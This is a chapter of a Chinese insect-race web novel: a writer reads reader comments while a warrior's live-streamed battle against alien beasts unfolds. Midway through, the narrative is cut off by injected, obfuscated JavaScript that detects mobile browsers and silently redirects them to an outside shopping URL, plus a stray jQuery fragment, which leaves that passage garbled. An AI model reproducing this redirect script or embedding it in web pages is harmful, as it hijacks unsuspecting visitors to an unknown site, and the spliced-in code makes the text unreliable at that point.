见后来的画面一直都是尼斯克的背影,钟鱼便分屏去看自己作品下的最新评论。
这次更新没有增添多少评论,因为星网上绝大多数星民都蹲守在尼斯克的直播间。
钟鱼一边留意左边的直播间,一边点开几条语音评论来听。
倒是见到了意料之外的雌虫,这个滚进异兽嘴里不是尼斯克的狂热信徒吗?怎么这个时候还跑来他的评论区了?
【最忧郁的虫,你这些天怎么没有上线?】
刚瞥见他发出的这条评论,后台就响起熟悉的提示音。
【你不会真去打异兽了吧?你是赫利俄斯还是其他星系的?难道你真的是雌虫?】
【不会是第一军团的吧?】
未免已读未回,钟鱼并没有点开私信,只是盯着通知栏上不断更迭的信息看。
【你……你现在在直播?你是尼斯克的部下?】
【我也在看直播,已经把你刚刚发的“小说”都看完了,这可真是一个奇怪的名字。】
钟鱼回复了滚进异兽嘴里那条评论。
[在忙,我白天都很忙。]
埃里克见最忧郁的虫没有回复他的私信轰炸,正拧着眉头看尼斯克带头寻找异兽踪迹,突然听到了熟悉的提示音,他眼睛一亮,又将视线转移到了私信界面。
——是评论区。
埃里克兴致缺缺地点开,看清昵称之后,他咧嘴笑了起来。
【你也在看尼斯克的直播吗?】
【那个雄虫是谁?你跟他认识?你是雌虫还是亚雌?】
【他是这个星系的ip,你也是赫利俄斯的?】
钟鱼皱眉扫了一眼,却没有再回复他。
他又看到了那个雄虫账号标志,这种性别标识一闪一闪的,非常的显眼。
【最忧郁的虫,这些天我一直在思考塞缪尔和西奥多的未来,当然,我知道他们最后缔结……你说的是结婚,这听起来是一个意思。】
【可我更好奇过程,阿尔文说西奥多会被塞缪尔伤透心,伤心是什么意思?难道塞缪尔狂暴失控刺伤了西奥多的心脏?】
【目前来看,他们两个的基因等级还算般配,塞缪尔的等级之后会提升的吧?不然很难升职成为上校。】
这三条评论一经发出,很快就成为了热门评论,钟鱼拄着下巴思考着怎么回复。
他这篇小说更新这几天,这个雄虫是唯一一个这么关心剧情的虫。
最终,钟鱼回复道:角色诞生之初,结局便已拟好,过程只是顺着他们的性格自然发展。
钟鱼回复完之后,竟然发现多了不少文字评论,这些评论错别字一大堆,有的看起来还很违和。
【雄虫阁下,冒味问一下,您的等级是多少?】
【雄虫阁下,您怎么会突然对这个感兴趣?%@可】
【“这还用说,中央星的雄虫基因等级最差也是c级。”】
【阁下您打这么多字,一定是跟大家族地接婚姻的虫。】
……
看到这些评论,斯凯勒脸色冷了下来,他将光脑扔到地上,用手狠狠地锤着跛了的右脚。
动作间一个没坐稳,从轮椅跌坐在冰凉的地板上。
膝盖骨磕在地面,发出沉闷的响声,斯凯勒以手掩面慢慢趴伏在水迹未干的地板上。
机器管家才清洁完地面,空气中弥漫着消毒水和清洁剂的气味。
见到斯凯勒的异样,机器管家滑行至他的身旁,自顾自地说着:“主人身体不好,不建议躺在地上,检测到空气中有害气体超标,我这就去为主人开启空气净化功能。”
黑色光屏上的眼睛一闪一闪,很快地面就恢复了以往的洁净干燥。
钟鱼在这众多文字评论中,看到了一条有些突兀的评论,头像是一片荒漠,看着有些像莱茵克,昵称叫“虫神保佑”。
【荒星长大的雄虫真的会是这样的吗?他不会被星盗发现吗?那些星盗就喜欢待在荒星上。】
钟鱼原本想的开头其实就是这样的。
一个像菲斯那样的坏星盗在荒星上发现西奥多并掳走,然后被前往莱茵克的塞缪尔他们给顺道救走。
可这种剧情跟原身太过重合,他最终只能将这段给修改了。
[也许是西奥多足够幸运。]
过了好几分钟,虫神保佑才回复【虫神会保佑西奥多阁下的。】
[会的。]
天地一片昏暗,狂沙卷石中,一个身形壮硕的雌虫缩在腥臭的异兽尸.体下,只有破碎的光脑残余着微弱的光亮。
屏幕上那两个字被割裂,碎成两半,他猛地吐出一口血来,胸口缓慢地起伏。
看着彻底碎裂的光脑,他半睁着眼睛,嘴里嗫嚅着什么。
声音太轻太轻,很快就淹没在风沙中。
“虫神保佑,保佑布莱斯阁下得偿所愿。”
“虫神保佑,保佑布莱斯阁下得偿所愿。”
“虫神保佑,保佑……我能再次见到布莱斯。”
看他的昵称和头像,钟鱼猜测他是一只军雌,还有点迷信的那种。
犹豫片刻,钟鱼还是多了一嘴,回复道:虫神也会保佑你的。
对于信神的来说,这也算是一个心里安慰了。
忙活半天,钟鱼正打算关了光脑洗漱入睡,就听到异兽的嘶吼声。
他连忙将音量调低。
尼斯克找到异兽了!
他不知道用了什么办法,那群异兽全部从地下钻了出来,这颗星球上地势偏高,因而,不止地下,光秃秃的山上也躺了不少异兽。
尼斯克将双手虫化,迅速地跑过去撕开离他最近那只异兽的脑袋,霎时脑浆迸裂,浓绿的血液顺着脑门涌到地面。
跟在身后的雌虫很快完全虫化加入了战斗。
相比以往直播回放中的优雅从容,此时的尼斯克击杀异兽的手段格外血腥。
他像之前那样挥舞着巨大的镰刀前肢穿梭在异兽潮中,所到之处异兽一一倒地。
看起来,除了血腥一点,并没有其他差别。
【“尼斯克上校果然是最厉害的,现在整个星际,有谁能像上校这样轻松地杀死异兽?”】
【“不说整个星际,就是历史上都没有过像尼斯克这么厉害的雌虫。”】
【“要是尼斯克上校去
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17569801|202947||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
了莱茵克,第二军团也不至于死伤大半了。”】
【“谁叫荒星离中央星近一些,莱茵克就是被异兽吃完了,也还有B612顶着。”】
【“尼斯克三年没有回到战场,实力逊色不少了。”】
这句语音刚发出,就被其他星民回复骂到删除。
可连钟鱼这种外行人都看出来了,他只粗略地看过尼斯克几场直播回放,相比之前,尼斯克的实力确实下降了很多。
虽然他现在还是s+的水平,整个星际都没有雌虫能打赢他,可远不如三年前的他。
想起尼斯克岌岌可危的精神领域,钟鱼眉头微蹙。
虫族的摄像头是如此的清晰,即便是隔着十几米远,放大镜头也能看清皮肤上的每一个毛孔,更遑论尼斯克额上的冷汗了。
尼斯克在强撑着,这也许就是他回到中央星所付出的代价。
难道三年前的狂暴虫化,尼斯克的等级降了?只是他隐藏了下来?
很快,正在观看直播的星民也看出不对劲来,评论区一时陷入沉寂。
……
加利安一双眼睛死死地盯着半空中的投屏,顾得不桌边的酒杯被他拂倒无声地落至地毯上。
不只是他,这场宴席的所有虫族都一眼不眨地看着尼斯克击杀异兽。
包括虫帝和图伽在内。
“尼斯克会狂暴虫化吗?”不知是谁问了这句话。
加利安只是摇头。
虫帝也跟着摇头,“尼斯克如果因为狂暴死亡,那虫族将不再有任何雌虫能逃脱这个宿命。”
在场的雌虫显然心中肚明,他们神情冷肃地看着尼斯克微微颤抖的前肢和被汗水打湿的粉色头发。
在星际所有虫的印象中,尼斯克一直都是那么强大,即便是三年前,他的手脚都被精神力镣铐束缚,他的发丝却还是那样的柔顺。
良久,虫帝解释道:“帝国需要尼斯克上校,他不能一直待在B600星系。”
加利安全程一言未发,直到宴席结束,他才单膝跪地,仰头对坐在王座上的君主说道:“为了帝国,尼斯克愿意奉献一切,布莱尔家族情愿倾尽所有。”
虫帝从王座起身,走下层层镶满钻石的台阶,将加利安扶起。
他沉声说道:“是为了整个虫族的存亡。”
“如果预言成真,我们将亲眼见证。”
如果是假的,那一切努力都白费了,整个虫族都将步入灭亡。
尼斯克的神情明显就是临近狂暴的模样,可他动作未停,就连眼睛都没眨一下。
他的眼睛虫化变作一个灰色的圆点,看起来更加像一个杀戮机器了。
直播持续了一个多星时,直到摄像头被关闭,尼斯克都没有陷入狂暴。
他只是疲惫地躺在被异兽鲜血浸湿的土坡上,双眼迷蒙地看着满天繁星。
“对不起,我让大家失望了,我早已经不是三年前的尼斯克了。”
三年前的尼斯克从来没有在战场上精神领域崩溃过。
【“不!尼斯克上校,你就是最厉害的!”】
这道喊破音的语音刚播完,直播间就被关闭了。